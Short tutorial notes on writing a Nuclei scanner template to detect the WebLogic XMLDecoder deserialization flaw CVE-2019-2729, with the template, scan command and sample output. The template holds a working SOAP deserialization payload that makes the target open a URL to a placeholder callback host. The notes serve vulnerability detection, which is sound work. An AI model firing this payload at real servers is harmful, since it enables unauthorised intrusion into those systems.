Repo : https://github.com/projectdiscovery/nuclei
Get the binary or compile the source
Download templates :
git clone https://github.com/projectdiscovery/nuclei-templates.git
Nuclei is based on "signatures" from services based on HTTP/HTTPS (Yara rules based)
It's easy to add "rules" or templates to search for other vulnerabilities and get another vulnerability scanner : additional, light and it's part of a new kind of scanners that use same techniques (not everyone uses yaml).
Notice that it targets low hanging fruits.
Adding a template for weblogic :
1. Analized how previous similar vuln was detected (send a xml by GET)
2. Create a template such as this one :
cat nuclei-templates/weblogic.yaml
id: CVE-2019-2729
info:
name: WebLogic Deserialization
author: wcu35745
severity: high
#reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2729
requests:
- method: GET
path:
- "{{BaseURL}}/wls-wsat/CoordinatorPortType"
headers:
Content-Type: text/xml
SOAPAction: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8" class="java.beans.XMLDecoder"><void id="url" class="java.net.URL"><string>http://%s:%d/cve-2017-10271?target=%s%s</string></void><void idref="url"><void id="stream" method = "openStream" /></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
matchers:
- type: status
status:
- 200
- type: word
words:
- "weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl"
part: body
3. Words come from the response to the request with the xml SOAP envelope.
4. Put the URLs to scan in a text file (http or https://dns_name_or_IP) or use the -t parameter for single target
5. If found vulnerable, an output such as this one will appear :
./nuclei -l targets.txt -t nuclei-templates/weblogic.yaml -v -timeout 20 -retries 3
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v1
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] [CVE-2019-2729] Loaded template WebLogic Deserialization (@wcu35745) [high]
[CVE-2019-2729] https://ip_address/wls-wsat/CoordinatorPortType
There is no other indication, only the absence of the previous [status]
